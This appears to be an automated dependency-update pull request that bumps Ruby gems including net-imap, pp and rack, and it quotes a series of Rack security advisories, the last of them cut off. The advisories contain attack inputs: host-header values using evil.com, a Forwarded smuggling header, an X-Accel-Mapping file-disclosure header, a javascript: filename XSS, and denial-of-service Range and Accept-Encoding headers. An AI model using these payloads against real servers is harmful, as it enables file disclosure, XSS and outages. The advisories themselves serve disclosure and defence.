SequenceSet#xorby @nevans in #567- ⚡ Avoid allocating arrays for SequenceSet bsearch (♻️ extract abstract strategy methods) by @nevans in #569
- ♻️ Rename
SequenceSetinternals by @nevans in #562- ♻️ Reorganize
SequenceSetinternals by @nevans in #568Miscellaneous
- ✅ Stop using deprecated UIDPlusData in tests by @nevans in #542
- ⬆️ Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #548
- 🐛 Fix workflow to deploy RDoc to GitHub pages by @nevans in #551
- ⬆️ Bump actions/checkout from 5 to 6 by @dependabot[bot] in #555
- 📦 Update
release.ymlforgithub_actionslabel by @nevans in #557- ⬆️ Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #566
- 🔖 Release 0.6 by @nevans in #574
- Workarounds for "Publishing gem fails with digest gem activation failure" issue #576
Full Changelog: v0.5.12...v0.6.0
0.5.12
What's Changed
TruffleRuby is not (yet) "officially supported" but it seems to work (with a few small caveats). Several tests are still marked as pending, but the rest all pass. #528 protects us from merging PRs that break TruffleRuby and (in some cases) JRuby.
Fixed
Miscellaneous
- ✅ Test overriding inherited ::Data methods by @nevans in #531
- ✅ Add TruffleRuby to CI by @nevans in #528
Full Changelog: v0.5.11...v0.5.12
0.5.11
What's Changed
Added
- ✨ Add
ESearchResult#to_sequence_setby @nevans in #511- ✨ Add
ESearchResult#eachby @nevans in #513- ✨ Add
VanishedData#each, delegated to#uids.each_numberby @nevans in #522- support new
Ractor.shareable_procby @ko1 in #525Fixed
Other Changes
- ✨ Allow
obj.to_sequence_set => nilin try_convert by @nevans in #512- ♻️ Allow
VanishedData#uidsto beSequenceSet.emptyby @nevans in #517- 🥅 Raise
ArgumentErrorfor#fetchwithpartialby @nevans in #521Documentation
- 📚 Fix rdoc call-seq for uid_expunge by @nevans in #516
- 📚 Add QRESYNC to
#enable(docs only) by @nevans in #518Miscellaneous
- ✅ Organize test files by @nevans in #515
- ✅ Fix flaky tests with
FakeServer#Connection#closemutex by @nevans in #520- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #524
New Contributors
Full Changelog: v0.5.10...v0.5.11
0.5.10
What's Changed
Added
- 🔎 Update
SequenceSet#inspectformat toNet::IMAP::SequenceSet(#{string})by @nevans in #501- ⚡🔎 Abridge
SequenceSet#inspectoutput for more than 512 entries by @nevans in #502Fixed
Documentation
- 📚🐛 Fix mistake in
SequenceSet#string=rdoc by @nevans in #497- 📚🐛 Fix SequenceSet creation rdoc example output by @nevans in #499
Other Changes
- 🥅 Improve ArgumentError in
SequenceSet#string=by @nevans in #498- ♻️ Refactor
SequenceSet#dup,#clone, and#replaceby @nevans in #505Miscellaneous
- ⬆️ Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #496
- ⬆️ Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #500
- 📉 Add SequenceSet benchmarks by @nevans in #485
- 📉 Fix benchmark data for SequenceSet#normalize by @nevans in #503
- ⚡ Add vernier profiler for SequenceSet tests and benchmarks by @nevans in #504
- ⬆️ Bump actions/upload-pages-artifact from 3 to 4 by @dependabot[bot] in #507
- ⬆️ Bump actions/checkout from 4 to 5 by @dependabot[bot] in #506
Full Changelog: v0.5.9...v0.5.10
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ nio4r (indirect, 2.7.4 → 2.7.5) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ pp (indirect, 0.6.2 → 0.6.4) · Repo
Release Notes
0.6.4
What's Changed
- Add a workflow to sync commits to ruby/ruby by @k0kubun in #62
- [DOC] Suppress documentation for internals by @nobu in #65
- Support private instance_variables_to_inspect by @hamajyotan in #70
New Contributors
- @k0kubun made their first contribution in #62
- @hamajyotan made their first contribution in #70
Full Changelog: v0.6.3...v0.6.4
0.6.3
What's Changed
- Bump rubygems/release-gem from 1.1.0 to 1.1.1 by @dependabot[bot] in #34
- Bump step-security/harden-runner from 2.10.2 to 2.10.3 by @dependabot[bot] in #35
- Bump step-security/harden-runner from 2.10.3 to 2.10.4 by @dependabot[bot] in #36
- Bump step-security/harden-runner from 2.10.4 to 2.11.0 by @dependabot[bot] in #37
- Ensure the thread local state is always set up. by @ioquatix in #38
- Avoid an array allocation per element in list passed to seplist by @jeremyevans in #41
- Fix CI with recent Ruby releases by @hsbt in #45
- Bump step-security/harden-runner from 2.11.0 to 2.12.1 by @dependabot[bot] in #44
- Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #46
- Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #47
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #48
- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #50
- Support new instance_variables_to_inspect method from Ruby core by @Fryguy in #49
- Add version.rake by @nobu in #52
- Fix ::Data warning on Ruby 2.7 by @eregon in #53
- Do not override the methods in set.rb by @nobu in #55
- Refine
Set#pretty_printcheck by @nobu in #56- Update pp for Set to use new inspect format by @jeremyevans in #43
- Trivial improvements by @nobu in #59
New Contributors
- @ioquatix made their first contribution in #38
- @jeremyevans made their first contribution in #41
- @Fryguy made their first contribution in #49
Full Changelog: v0.6.2...v0.6.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ rack (indirect, 3.2.0 → 3.2.6) · Repo · Changelog
Security Advisories 🚨
🚨 Rack::Request accepts invalid Host characters, enabling host allowlist bypass
Summary
Rack::Requestparses theHostheader using anAUTHORITYregular expression that accepts characters not permitted in RFC-compliant hostnames, including/,?,#, and@. Becausereq.hostreturns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed.For example, a check such as
req.host.start_with?("myapp.com")can be bypassed withHost: myapp.com@evil.com, and a check such asreq.host.end_with?("myapp.com")can be bypassed withHost: evil.com/myapp.com.This can lead to host header poisoning in applications that use
req.host,req.url, orreq.base_urlfor link generation, redirects, or origin validation.Details
Rack::Requestparses the authority component using logic equivalent to:AUTHORITY = / \A (?<host> \[(?<address>#{ipv6})\] | (?<address>[[[:graph:]&&[^\[\]]]]*?) ) (:(?<port>\d+))? \z /xThe character class used for non-IPv6 hosts accepts nearly all printable characters except
[and]. This includes reserved URI delimiters such as@,/,?, and#, which are not valid hostname characters under RFC 3986 host syntax.As a result, values such as the following are accepted and returned through
req.host:myapp.com@evil.com evil.com/myapp.com evil.com#myapp.comApplications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example:
req.host.start_with?("myapp.com")accepts:
myapp.com@evil.comand:
req.host.end_with?("myapp.com")accepts:
evil.com/myapp.comWhen those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results.
Impact
Applications that rely on
req.host,req.url, orreq.base_urlmay be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames.In affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues.
The practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated.
Mitigation
- Update to a patched version of Rack that rejects invalid authority characters in
Host.- Enforce strict
Hostheader validation at the reverse proxy or load balancer.- Do not rely on prefix or suffix string checks such as
start_with?orend_with?for host allowlisting.- Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.
🚨 Rack's improper unfolding of folded multipart headers preserves CRLF in parsed parameter values
Summary
Rack::Multipart::Parserunfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such asfilenameornameinstead of removing the folded line break during unfolding.As a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.
Details
Rack::Multipart::Parseraccepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.This means a multipart part header such as:
Content-Disposition: form-data; name="file"; filename="test\r\n foo.txt"can result in a parsed parameter value that still contains CRLF characters.
The issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.
Affected values may include multipart parameters such as
filename,name, or similar parsed header attributes.Impact
Applications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.
In affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.
The practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.
Mitigation
- Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.
- Avoid copying upload metadata such as
filenamedirectly into HTTP response headers without sanitization.- Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.
- Where feasible, normalize uploaded filenames before storing or reflecting them.
🚨 Rack: Forwarded Header semicolon injection enables Host and Scheme spoofing
Summary
Rack::Utils.forwarded_valuesparses the RFC 7239Forwardedheader by splitting on semicolons before handling quoted-string values. Because quoted values may legally contain semicolons, a header such as:Forwarded: for="127.0.0.1;host=evil.com;proto=https"can be interpreted by Rack as multiple
Forwardeddirectives rather than as a single quotedforvalue.In deployments where an upstream proxy, WAF, or intermediary validates or preserves quoted
Forwardedvalues differently, this discrepancy can allow an attacker to smugglehost,proto,for, orbyparameters through a single header value.Details
Rack::Utils.forwarded_valuesprocesses the header using logic equivalent to:forwarded_header.split(';').each_with_object({}) do |field, values| field.split(',').each do |pair| pair = pair.split('=').map(&:strip).join('=') return nil unless pair =~ /\A(by|for|host|proto)="?([^"]+)"?\Z/i (values[$1.downcase.to_sym] ||= []) << $2 end endThe method splits on
;before it parses individualname=valuepairs. This is inconsistent with RFC 7239, which permits quoted-string values, and quoted strings may contain semicolons as literal content.As a result, a header value such as:
Forwarded: for="127.0.0.1;host=evil.com;proto=https"is not treated as a single
forvalue. Instead, Rack may interpret it as if the client had supplied separatefor,host, andprotodirectives.This creates an interpretation conflict when another component in front of Rack treats the quoted value as valid literal content, while Rack reparses it as multiple forwarding parameters.
Impact
Applications that rely on
Forwardedto derive request metadata may observe attacker-controlled values forhost,proto,for, or related URL components.In affected deployments, this can lead to host or scheme spoofing in derived values such as
req.host,req.scheme,req.base_url, orreq.url. Applications that use those values for password reset links, redirects, absolute URL generation, logging, IP-based decisions, or backend requests may be vulnerable to downstream security impact.The practical security impact depends on deployment architecture. If clients can already supply arbitrary trusted
Forwardedparameters directly, this bug may not add meaningful attacker capability. The issue is most relevant where an upstream component and Rack interpret the sameForwardedheader differently.Mitigation
- Update to a patched version of Rack that parses
Forwardedquoted-string values before splitting on parameter delimiters.- Avoid trusting client-supplied
Forwardedheaders unless they are normalized or regenerated by a trusted reverse proxy.- Prefer stripping inbound
Forwardedheaders at the edge and reconstructing them from trusted proxy metadata.- Avoid using
req.host,req.scheme,req.base_url, orreq.urlfor security-sensitive operations unless the forwarding chain is explicitly trusted and validated.
🚨 Rack has quadratic complexity in Rack::Utils.select_best_encoding via wildcard Accept-Encoding header
Summary
Rack::Utils.select_best_encodingprocessesAccept-Encodingvalues with quadratic time complexity when the header contains many wildcard (*) entries. Because this method is used byRack::Deflaterto choose a response encoding, an unauthenticated attacker can send a single request with a craftedAccept-Encodingheader and cause disproportionate CPU consumption on the compression middleware path.This results in a denial of service condition for applications using
Rack::Deflater.Details
Rack::Utils.select_best_encodingexpands parsedAccept-Encodingvalues into a list of candidate encodings. When an entry is*, the method computes the set of concrete encodings by subtracting the encodings already present in the request:if m == "*" (available_encodings - accept_encoding.map(&:first)).each do |m2| expanded_accept_encoding << [m2, q, preference] end else expanded_accept_encoding << [m, q, preference] endBecause
accept_encoding.map(&:first)is evaluated inside the loop, it is recomputed for each wildcard entry. If the request containsNwildcard entries, this produces repeated scans over the full parsed header and causes quadratic behavior.After expansion, the method also performs additional work over
expanded_accept_encoding, including per-entry deletion, which further increases the cost for large inputs.
Rack::Deflaterinvokes this method for each request when the middleware is enabled:Utils.select_best_encoding(ENCODINGS, Utils.parse_encodings(accept_encoding))As a result, a client can trigger this expensive code path simply by sending a large
Accept-Encodingheader containing many repeated wildcard values.For example, a request with an approximately 8 KB
Accept-Encodingheader containing about 1,000*;q=0.5entries can cause roughly 170 ms of CPU time in a single request on theRack::Deflaterpath, compared to a negligible baseline for a normal header.This issue is distinct from CVE-2024-26146. That issue concerned regular expression denial of service during
Acceptheader parsing, whereas this issue arises later during encoding selection after the header has already been parsed.Impact
Any Rack application using
Rack::Deflatermay be affected.An unauthenticated attacker can send requests with crafted
Accept-Encodingheaders to trigger excessive CPU usage in the encoding selection logic. Repeated requests can consume worker time disproportionately and reduce application availability.The attack does not require invalid HTTP syntax or large payload bodies. A single header-sized request is sufficient to reach the vulnerable code path.
Mitigation
- Update to a patched version of Rack in which encoding selection does not repeatedly rescan the parsed header for wildcard entries.
- Avoid enabling
Rack::Deflateron untrusted traffic.- Apply request filtering or header size / format restrictions at the reverse proxy or application boundary to limit abusive
Accept-Encodingvalues.
🚨 Rack has a root directory disclosure via unescaped regex interpolation in Rack::Directory
Summary
Rack::Directoryinterpolates the configuredrootpath directly into a regular expression when deriving the displayed directory path. Ifrootcontains regex metacharacters such as+,*, or., the prefix stripping can fail and the generated directory listing may expose the full filesystem path in the HTML output.Details
Rack::Directory::DirectoryBody#eachcomputes the visible path using code equivalent to:show_path = Utils.escape_html(path.sub(/\A#{root}/, ''))Here,
rootis a developer-configured filesystem path. It is normalized earlier withFile.expand_path(root)and then inserted directly into a regular expression without escaping.Because the value is treated as regex syntax rather than as a literal string, metacharacters in the configured path can change how the prefix match behaves. When that happens, the expected root prefix is not removed from
path, and the absolute filesystem path is rendered into the HTML directory listing.Impact
If
Rack::Directoryis configured to serve a directory whose absolute path contains regex metacharacters, the generated directory listing may disclose the full server filesystem path instead of only the request-relative path.This can expose internal deployment details such as directory layout, usernames, mount points, or naming conventions that would otherwise not be visible to clients.
Mitigation
- Update to a patched version of Rack in which the root prefix is removed using an escaped regular expression.
- Avoid using
Rack::Directorywith a root path that contains regular expression metacharacters.
🚨 Rack's multipart parsing without Content-Length header allows unbounded chunked file uploads
Summary
Rack::Multipart::Parseronly wraps the request body in aBoundedIOwhenCONTENT_LENGTHis present. When amultipart/form-datarequest is sent without aContent-Lengthheader, such as with HTTP chunked transfer encoding, multipart parsing continues until end-of-stream with no total size limit.For file parts, the uploaded body is written directly to a temporary file on disk rather than being constrained by the buffered in-memory upload limit. An unauthenticated attacker can therefore stream an arbitrarily large multipart file upload and consume unbounded disk space.
This results in a denial of service condition for Rack applications that accept multipart form data.
Details
Rack::Multipart::Parser.parseappliesBoundedIOonly whencontent_lengthis notnil:io = BoundedIO.new(io, content_length) if content_lengthWhen
CONTENT_LENGTHis absent, the parser reads the multipart body until EOF without a global byte limit.Although Rack enforces
BUFFERED_UPLOAD_BYTESIZE_LIMITfor retained non-file parts, file uploads are handled differently. When a multipart part includes a filename, the body is streamed to aTempfile, and the retained-size accounting is not applied to that file content. As a result, file parts are not subject to the same upload size bound.An attacker can exploit this by sending a chunked
multipart/form-datarequest containing a file part and continuously streaming data without declaring aContent-Length. Rack will continue writing the uploaded data to disk until the client stops or the server exhausts available storage.Impact
Any Rack application that accepts
multipart/form-datauploads may be affected if no upstream component enforces a request body size limit.An unauthenticated attacker can send a large chunked file upload to consume disk space on the application host. This may cause request failures, application instability, or broader service disruption if the host runs out of available storage.
The practical impact depends on deployment architecture. Reverse proxies or application servers that enforce upload limits may reduce or eliminate exploitability, but Rack itself does not impose a total multipart upload limit in this code path when
CONTENT_LENGTHis absent.Mitigation
- Update to a patched version of Rack that enforces a total multipart upload size limit even when
CONTENT_LENGTHis absent.- Enforce request body size limits at the reverse proxy or application server.
- Isolate temporary upload storage and monitor disk consumption for multipart endpoints.
🚨 Rack::Sendfile header-based X-Accel-Mapping regex injection enables unauthorized X-Accel-Redirect
Summary
Rack::Sendfile#map_accel_pathinterpolates the value of theX-Accel-Mappingrequest header directly into a regular expression when rewriting file paths forX-Accel-Redirect. Because the header value is not escaped, an attacker who can supplyX-Accel-Mappingto the backend can inject regex metacharacters and control the generatedX-Accel-Redirectresponse header.In deployments using
Rack::Sendfilewithx-accel-redirect, this can allow an attacker to cause nginx to serve unintended files from configured internal locations.Details
Rack::Sendfile#map_accel_pathprocesses header-supplied mappings using logic equivalent to:mapping.split(',').map(&:strip).each do |m| internal, external = m.split('=', 2).map(&:strip) new_path = path.sub(/\A#{internal}/i, external) return new_path unless path == new_path endHere,
internalcomes from theHTTP_X_ACCEL_MAPPINGrequest header and is inserted directly into a regular expression without escaping. This gives the header value regex semantics rather than treating it as a literal prefix.As a result, an attacker can supply metacharacters such as
.*or capture groups to alter how the path substitution is performed. For example, a mapping such as:X-Accel-Mapping: .*=/protected/secret.txtcauses the entire source path to match and rewrites the redirect target to a clean attacker-chosen internal path.
This differs from the documented behavior of the header-based mapping path, which is described as a simple substitution. While application-supplied mappings may intentionally support regular expressions, header-supplied mappings should be treated as literal path prefixes.
The issue is only exploitable when untrusted
X-Accel-Mappingheaders can reach Rack. One realistic case is a reverse proxy configuration that intends to setX-Accel-Mappingitself, but fails to do so on some routes, allowing a client-supplied header to pass through unchanged.Impact
Applications using
Rack::Sendfilewithx-accel-redirectmay be affected if the backend accepts attacker-controlledX-Accel-Mappingheaders.In affected deployments, an attacker may be able to control the
X-Accel-Redirectresponse header and cause nginx to serve files from internal locations that were not intended to be reachable through the application. This can lead to unauthorized file disclosure.The practical impact depends on deployment architecture. If the proxy always strips or overwrites
X-Accel-Mapping, or if the application uses explicit configured mappings instead of the request header, exploitability may be eliminated.Mitigation
- Update to a patched version of Rack that treats header-supplied
X-Accel-Mappingvalues as literal strings rather than regular expressions.- Strip or overwrite inbound
X-Accel-Mappingheaders at the reverse proxy so client-supplied values never reach Rack.- Prefer explicit application-configured sendfile mappings instead of relying on request-header mappings.
- Review proxy sub-locations and inherited header settings to ensure
X-Accel-Mappingis consistently set on all backend routes.
🚨 Rack has Content-Length mismatch in Rack::Files error responses
Summary
Rack::Files#failsets theContent-Lengthresponse header usingString#sizeinstead ofString#bytesize. When the response body contains multibyte UTF-8 characters, the declaredContent-Lengthis smaller than the number of bytes actually sent on the wire.Because
Rack::Filesreflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters.This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect
Content-Lengthvalue.Details
Rack::Files#failconstructs error responses using logic equivalent to:def fail(status, body, headers = {}) body += "\n" [ status, { "content-type" => "text/plain", "content-length" => body.size.to_s, "x-cascade" => "pass" }.merge!(headers), [body] ] endHere,
body.sizereturns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrectContent-Lengthvalue.
Rack::Filesincludes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while theContent-Lengthheader still reflects character count rather than byte count.As a result, the server can send more bytes than declared in the response headers.
This violates HTTP message framing requirements, which define
Content-Lengthas the number of octets in the message body.Impact
Applications using
Rack::Filesmay emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters.In some deployment topologies, particularly with keep-alive connections and intermediaries that rely on
Content-Length, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse.Even where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components.
Mitigation
- Update to a patched version of Rack that computes
Content-LengthusingString#bytesize.- Avoid exposing
Rack::Filesdirectly to untrusted traffic until a fix is available, if operationally feasible.- Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses.
- Prefer closing backend connections on error paths if response framing anomalies are a concern.
🚨 Rack::Static prefix matching can expose unintended files under the static root
Summary
Rack::Staticdetermines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as"/css", it matches any request path that begins with that string, including unrelated paths such as"/css-config.env"or"/css-backup.sql".As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure.
Details
Rack::Static#route_fileperforms static-route matching using logic equivalent to:@urls.any? { |url| path.index(url) == 0 }This checks only whether the request path starts with the configured prefix string. It does not require a path segment boundary after the prefix.
For example, with:
use Rack::Static, urls: ["/css", "/js"], root: "public"the following path is matched as intended:
/css/style.cssbut these paths are also matched:
/css-config.env /css-backup.sql /csssecrets.ymlIf such files exist under the configured static root, Rack forwards the request to the file server and serves them as static content.
This means a configuration intended to expose only directory trees such as
/css/...and/js/...may also expose sibling files whose names begin with those same strings.Impact
An attacker can request files under the configured static root whose names share a configured URL prefix and obtain their contents.
In affected deployments, this may expose configuration files, secrets, backups, environment files, or other unintended static content located under the same root directory.
Mitigation
- Update to a patched version of Rack that enforces a path boundary when matching configured static URL prefixes.
- Match only paths that are either exactly equal to the configured prefix or begin with
prefix + "/".- Avoid placing sensitive files under the
Rack::Staticroot directory.- Prefer static URL mappings that cannot overlap with sensitive filenames.
🚨 Rack:: Static header_rules bypass via URL-encoded paths
Summary
Rack::Static#applicable_rulesevaluates severalheader_rulestypes against the raw URL-encodedPATH_INFO, while the underlying file-serving path is decoded before the file is served. As a result, a request for a URL-encoded variant of a static path can serve the same file without the headers thatheader_ruleswere intended to apply.In deployments that rely on
Rack::Staticto attach security-relevant response headers to static content, this can allow an attacker to bypass those headers by requesting an encoded form of the path.Details
Rack::Static#applicable_rulesmatches rule types such as:fonts,Array, andRegexpdirectly against the incomingPATH_INFO. For example:when :fonts /\.(?:ttf|otf|eot|woff2|woff|svg)\z/.match?(path) when Array /\.(#{rule.join('|')})\z/.match?(path) when Regexp rule.match?(path)These checks operate on the raw request path. If the request contains encoded characters such as
%2Ein place of., the rule may fail to match even though the file path is later decoded and served successfully by the static file server.For example, both of the following requests may resolve to the same file on disk:
/fonts/test.woff /fonts/test%2Ewoffbut only the unencoded form may receive the headers configured through
header_rules.This creates a canonicalization mismatch between the path used for header policy decisions and the path ultimately used for file serving.
Impact
Applications that rely on
Rack::Staticheader_rulesto apply security-relevant headers to static files may be affected.In affected deployments, an attacker can request an encoded variant of a static file path and receive the same file without the intended headers. Depending on how
header_rulesare used, this may bypass protections such as clickjacking defenses, content restrictions, or other response policies applied to static content.The practical impact depends on the configured rules and the types of files being served. If
header_rulesare only used for non-security purposes such as caching, the issue may have limited security significance.Mitigation
- Update to a patched version of Rack that applies
header_rulesto a decoded path consistently with static file resolution.- Do not rely solely on
Rack::Staticheader_rulesfor security-critical headers where encoded path variants may reach the application.- Prefer setting security headers at the reverse proxy or web server layer so they apply consistently to both encoded and unencoded path forms.
- Normalize or reject encoded path variants for static content at the edge, where feasible.
🚨 Rack's multipart byte range processing allows denial of service via excessive overlapping ranges
Summary
Rack::Utils.get_byte_rangesparses the HTTPRangeheader without limiting the number of individual byte ranges. Although the existing fix for CVE-2024-26141 rejects ranges whose total byte coverage exceeds the file size, it does not restrict the count of ranges. An attacker can supply many small overlapping ranges such as0-0,0-0,0-0,...to trigger disproportionate CPU, memory, I/O, and bandwidth consumption per request.This results in a denial of service condition in Rack file-serving paths that process multipart byte range responses.
Details
Rack::Utils.get_byte_rangesaccepts a comma-separated list of byte ranges and validates them based on their aggregate size, but does not impose a limit on how many individual ranges may be supplied.As a result, a request such as:
Range: bytes=0-0,0-0,0-0,0-0,...can contain thousands of overlapping one-byte ranges while still satisfying the total-size check added for CVE-2024-26141.
When such a header is processed by Rack’s file-serving code, each range causes additional work, including multipart response generation, per-range iteration, file seek and read operations, and temporary string allocation for response size calculation and output. This allows a relatively small request header to trigger disproportionately expensive processing and a much larger multipart response.
The issue is distinct from CVE-2024-26141. That fix prevents range sets whose total byte coverage exceeds the file size, but does not prevent a large number of overlapping ranges whose summed size remains within that limit.
Impact
Applications that expose file-serving paths with byte range support may be vulnerable to denial of service.
An unauthenticated attacker can send crafted
Rangeheaders containing many small overlapping ranges to consume excessive CPU time, memory, file I/O, and bandwidth. Repeated requests may reduce application availability and increase pressure on workers and garbage collection.Mitigation
- Update to a patched version of Rack that limits the number of accepted byte ranges.
- Reject or normalize multipart byte range requests containing excessive range counts.
- Consider disabling multipart range support where it is not required.
- Apply request filtering or header restrictions at the reverse proxy or application boundary to limit abusive
Rangeheaders.
🚨 Rack's multipart header parsing allows Denial of Service via escape-heavy quoted parameters
Summary
Rack::Multipart::Parser#handle_mime_headparses quoted multipart parameters such asContent-Disposition: form-data; name="..."using repeatedString#indexsearches combined withString#slice!prefix deletion. For escape-heavy quoted values, this causes super-linear processing.An unauthenticated attacker can send a crafted
multipart/form-datarequest containing many parts with long backslash-escaped parameter values to trigger excessive CPU usage during multipart parsing.This results in a denial of service condition in Rack applications that accept multipart form data.
Details
Rack::Multipart::Parser#handle_mime_headparses quoted parameter values by repeatedly:
- Searching for the next quote or backslash,
- Copying the preceding substring into a new buffer, and
- Removing the processed prefix from the original string with
slice!.An attacker can exploit this by sending a multipart request with many parts whose
nameparameters contain long escape-heavy values such as:name="a\\a\\a\\a\\a\\..."Under default Rack limits, a request can contain up to 4095 parts. If many of those parts use long quoted values with dense escape characters, the parser performs disproportionately expensive CPU work while remaining within normal request size and part-count limits.
Impact
Any Rack application that accepts
multipart/form-datarequests may be affected, including file upload endpoints and standard HTML form handlers.An unauthenticated attacker can send crafted multipart requests that consume excessive CPU time during request parsing. Repeated requests can tie up application workers, reduce throughput, and degrade or deny service availability.
Mitigation
- Update to a patched version of Rack that parses quoted multipart parameters without repeated rescanning and destructive prefix deletion.
- Apply request throttling or rate limiting to multipart upload endpoints.
- Where operationally feasible, restrict or isolate multipart parsing on untrusted high-volume endpoints.
🚨 Rack's greedy multipart boundary parsing can cause parser differentials and WAF bypass.
Summary
Rack::Multipart::Parserextracts theboundaryparameter frommultipart/form-datausing a greedy regular expression. When aContent-Typeheader contains multipleboundaryparameters, Rack selects the last one rather than the first.In deployments where an upstream proxy, WAF, or intermediary interprets the first
boundaryparameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.Details
Rack identifies the multipart boundary using logic equivalent to:
MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|niBecause the expression is greedy, it matches the last
boundary=parameter in a header such as:Content-Type: multipart/form-data; boundary=safe; boundary=maliciousAs a result, Rack parses the request body using
malicious, while another component may interpret the same header usingsafe.This creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.
This issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.
Impact
Applications that accept
multipart/form-datauploads behind an inspecting proxy or WAF may be affected.In such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple
boundaryparameters and relying on the intermediary and Rack to parse the request differently.The practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.
Mitigation
- Update to a patched version of Rack that rejects ambiguous multipart
Content-Typeheaders or parses duplicateboundaryparameters consistently.- Reject requests containing multiple
boundaryparameters.- Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.
- Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.
🚨 Stored XSS in Rack::Directory via javascript: filenames rendered into anchor href
Summary
Rack::Directorygenerates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with thejavascript:scheme (e.g.javascript:alert(1)), the generated index includes an anchor whosehrefattribute is exactlyjavascript:alert(1). Clicking this entry executes arbitrary JavaScript in the context of the hosting application.This results in a client-side XSS condition in directory listings generated by
Rack::Directory.Details
Rack::Directoryrenders directory entries using an HTML row template similar to:<a href='%s'>%s</a>The
%splaceholder is populated directly with the file’s basename. If the basename begins withjavascript:, the resulting HTML contains an executable JavaScript URL:<a href='javascript:alert(1)'>javascript:alert(1)</a>Because the value is inserted directly into the
hrefattribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.Impact
If
Rack::Directoryis used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning withjavascript:.When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).
Mitigation
- Update to a patched version of Rack in which
Rack::Directoryprefixes generated anchors with a relative path indicator (e.g../filename).- Avoid exposing user-controlled directories via
Rack::Directory.- Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
- Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.
HackerOne profile:
https://hackerone.com/thesmartshadowGitHub account owner:
Ali Firas (@thesmartshadow)
🚨 Rack has a Directory Traversal via Rack:Directory
Summary
Rack::Directory’s path check used a string prefix match on the expanded path. A request like/../root_example/can escape the configured root if the target path starts with the root string, allowing directory listing outside the intended root.Details
In
directory.rb,File.expand_path(File.join(root, path_info)).start_with?(root)does not enforce a path boundary. If the server root is/var/www/root, a path like/var/www/root_backuppasses the check because it shares the same prefix, soRack::Directorywill list that directory also.Impact
Information disclosure via directory listing outside the configured root when
Rack::Directoryis exposed to untrusted clients and a directory shares the root prefix (e.g.,public2,www_backup).Mitigation
- Update to a patched version of Rack that correctly checks the root prefix.
- Don't name directories with the same prefix as one which is exposed via
Rack::Directory.
🚨 Rack is vulnerable to a memory-exhaustion DoS through unbounded URL-encoded body parsing
Summary
